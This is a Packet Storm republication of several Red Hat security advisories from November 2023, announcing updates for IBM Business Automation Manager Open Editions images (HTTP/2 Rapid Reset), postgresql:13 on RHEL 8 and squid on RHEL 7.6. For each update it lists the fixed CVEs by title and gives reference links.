Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: Updated IBM Business Automation Manager Open Editions 8.0.4 SP1 Images  
Advisory ID:        RHSA-2023:7587-01  
Product:            Red Hat OpenShift Enterprise  
Advisory URL:       https://access.redhat.com/errata/RHSA-2023:7587  
Issue date:         2023-11-29  
Revision:           01  
CVE Names:          CVE-2023-44487  
====================================================================

Summary: 

An update is now available for IBM Business Automation Manager Open Editions including images for Red Hat OpenShift Container Platform.

Description:

IBM Business Automation Manager Open Editions is an open source business process management suite that combines process management and decision service management. It enables business and IT users to create, manage, validate, and deploy process applications and decision services.

IBM Business Automation Manager Open Editions images have been provided for use within the OpenShift Container Platform cloud computing Platform-as-a-Service (PaaS) and for on-premise or private-cloud deployments.

This release updates the IBM Business Automation Manager Open Editions images to 8.0.4.

This release includes security fixes.

Security Fix(es):

* netty-codec-http2: HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (Rapid Reset Attack) (CVE-2023-44487)

* undertow: HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (Rapid Reset Attack) (CVE-2023-44487)

* Quarkus: HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (Rapid Reset Attack) (CVE-2023-44487)

* EAP XP: HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (Rapid Reset Attack) (CVE-2023-44487)

* EAP: HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (Rapid Reset Attack) (CVE-2023-44487)

* businessautomation-operator: HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (Rapid Reset Attack) (CVE-2023-44487)

A Red Hat Security Bulletin which addresses further details about this flaw is available in the References section.

For more details about the security issues, including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE pages listed in the References section.

Solution:

CVEs:

CVE-2023-44487

References:

https://access.redhat.com/security/updates/classification/#important  
https://bugzilla.redhat.com/show_bug.cgi?id=2242803

Red Hat Security Advisory 2023-7587-01

Red Hat Security Advisory 2023-7581-01 - An update for the postgresql:13 module is now available for Red Hat Enterprise Linux 8. Issues addressed include integer overflow and remote SQL injection vulnerabilities.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_7581.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: postgresql:13 security update  
Advisory ID:        RHSA-2023:7581-01  
Product:            Red Hat Enterprise Linux  
Advisory URL:       https://access.redhat.com/errata/RHSA-2023:7581  
Issue date:         2023-11-29  
Revision:           01  
CVE Names:          CVE-2023-5868  
====================================================================

Summary: 

An update for the postgresql:13 module is now available for Red Hat Enterprise Linux 8.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

PostgreSQL is an advanced object-relational database management system (DBMS).

Security Fix(es):

* postgresql: Buffer overrun from integer overflow in array modification (CVE-2023-5869)

* postgresql: Memory disclosure in aggregate function calls (CVE-2023-5868)

* postgresql: extension script @substitutions@ within quoting allow SQL injection (CVE-2023-39417)

* postgresql: Role pg_signal_backend can signal certain superuser processes. (CVE-2023-5870)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2023-5868

References:

https://access.redhat.com/security/updates/classification/#important  
https://bugzilla.redhat.com/show_bug.cgi?id=2228111  
https://bugzilla.redhat.com/show_bug.cgi?id=2247168  
https://bugzilla.redhat.com/show_bug.cgi?id=2247169  
https://bugzilla.redhat.com/show_bug.cgi?id=2247170

Red Hat Security Advisory 2023-7581-01

Red Hat Security Advisory 2023-7580-01 - An update for the postgresql:13 module is now available for Red Hat Enterprise Linux 8.6 Extended Update Support. Issues addressed include integer overflow and remote SQL injection vulnerabilities.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_7580.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: postgresql:13 security update  
Advisory ID:        RHSA-2023:7580-01  
Product:            Red Hat Enterprise Linux  
Advisory URL:       https://access.redhat.com/errata/RHSA-2023:7580  
Issue date:         2023-11-29  
Revision:           01  
CVE Names:          CVE-2022-2625  
====================================================================

Summary: 

An update for the postgresql:13 module is now available for Red Hat Enterprise Linux 8.6 Extended Update Support.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

PostgreSQL is an advanced object-relational database management system (DBMS).

Security Fix(es):

* postgresql: schema_element defeats protective search_path changes (CVE-2023-2454)

* postgresql: Buffer overrun from integer overflow in array modification (CVE-2023-5869)

* postgresql: Extension scripts replace objects not belonging to the extension. (CVE-2022-2625)

* postgresql: row security policies disregard user ID changes after inlining. (CVE-2023-2455)

* postgresql: Memory disclosure in aggregate function calls (CVE-2023-5868)

* postgresql: extension script @substitutions@ within quoting allow SQL injection (CVE-2023-39417)

* postgresql: Client memory disclosure when connecting with Kerberos to modified server (CVE-2022-41862)

* postgresql: Role pg_signal_backend can signal certain superuser processes. (CVE-2023-5870)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2022-2625

References:

https://access.redhat.com/security/updates/classification/#important  
https://bugzilla.redhat.com/show_bug.cgi?id=2113825  
https://bugzilla.redhat.com/show_bug.cgi?id=2165722  
https://bugzilla.redhat.com/show_bug.cgi?id=2207568  
https://bugzilla.redhat.com/show_bug.cgi?id=2207569  
https://bugzilla.redhat.com/show_bug.cgi?id=2228111  
https://bugzilla.redhat.com/show_bug.cgi?id=2247168  
https://bugzilla.redhat.com/show_bug.cgi?id=2247169  
https://bugzilla.redhat.com/show_bug.cgi?id=2247170

Red Hat Security Advisory 2023-7580-01

Red Hat Security Advisory 2023-7579-01 - An update for the postgresql:13 module is now available for Red Hat Enterprise Linux 8.8 Extended Update Support. Issues addressed include integer overflow and remote SQL injection vulnerabilities.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_7579.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: postgresql:13 security update  
Advisory ID:        RHSA-2023:7579-01  
Product:            Red Hat Enterprise Linux  
Advisory URL:       https://access.redhat.com/errata/RHSA-2023:7579  
Issue date:         2023-11-29  
Revision:           01  
CVE Names:          CVE-2023-5868  
====================================================================

Summary: 

An update for the postgresql:13 module is now available for Red Hat Enterprise Linux 8.8 Extended Update Support.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

PostgreSQL is an advanced object-relational database management system (DBMS).

Security Fix(es):

* postgresql: Buffer overrun from integer overflow in array modification (CVE-2023-5869)

* postgresql: Memory disclosure in aggregate function calls (CVE-2023-5868)

* postgresql: extension script @substitutions@ within quoting allow SQL injection (CVE-2023-39417)

* postgresql: Role pg_signal_backend can signal certain superuser processes. (CVE-2023-5870)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2023-5868

References:

https://access.redhat.com/security/updates/classification/#important  
https://bugzilla.redhat.com/show_bug.cgi?id=2228111  
https://bugzilla.redhat.com/show_bug.cgi?id=2247168  
https://bugzilla.redhat.com/show_bug.cgi?id=2247169  
https://bugzilla.redhat.com/show_bug.cgi?id=2247170

Red Hat Security Advisory 2023-7579-01

Red Hat Security Advisory 2023-7578-01 - An update for squid is now available for Red Hat Enterprise Linux 7.6 Advanced Update Support. Issues addressed include a denial of service vulnerability.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_7578.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Critical: squid security updateAdvisory ID:        RHSA-2023:7578-01Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2023:7578Issue date:         2023-11-29Revision:           01CVE Names:          CVE-2023-46847====================================================================Summary: An update for squid is now available for Red Hat Enterprise Linux 7.6 Advanced Update Support.Red Hat Product Security has rated this update as having a security impact of Critical. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Squid is a high-performance proxy caching server for web clients, supporting FTP, Gopher, and HTTP data objects.Security Fix(es):* squid: Denial of Service in HTTP Digest Authentication (CVE-2023-46847)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-46847References:https://access.redhat.com/security/updates/classification/#criticalhttps://bugzilla.redhat.com/show_bug.cgi?id=2245916

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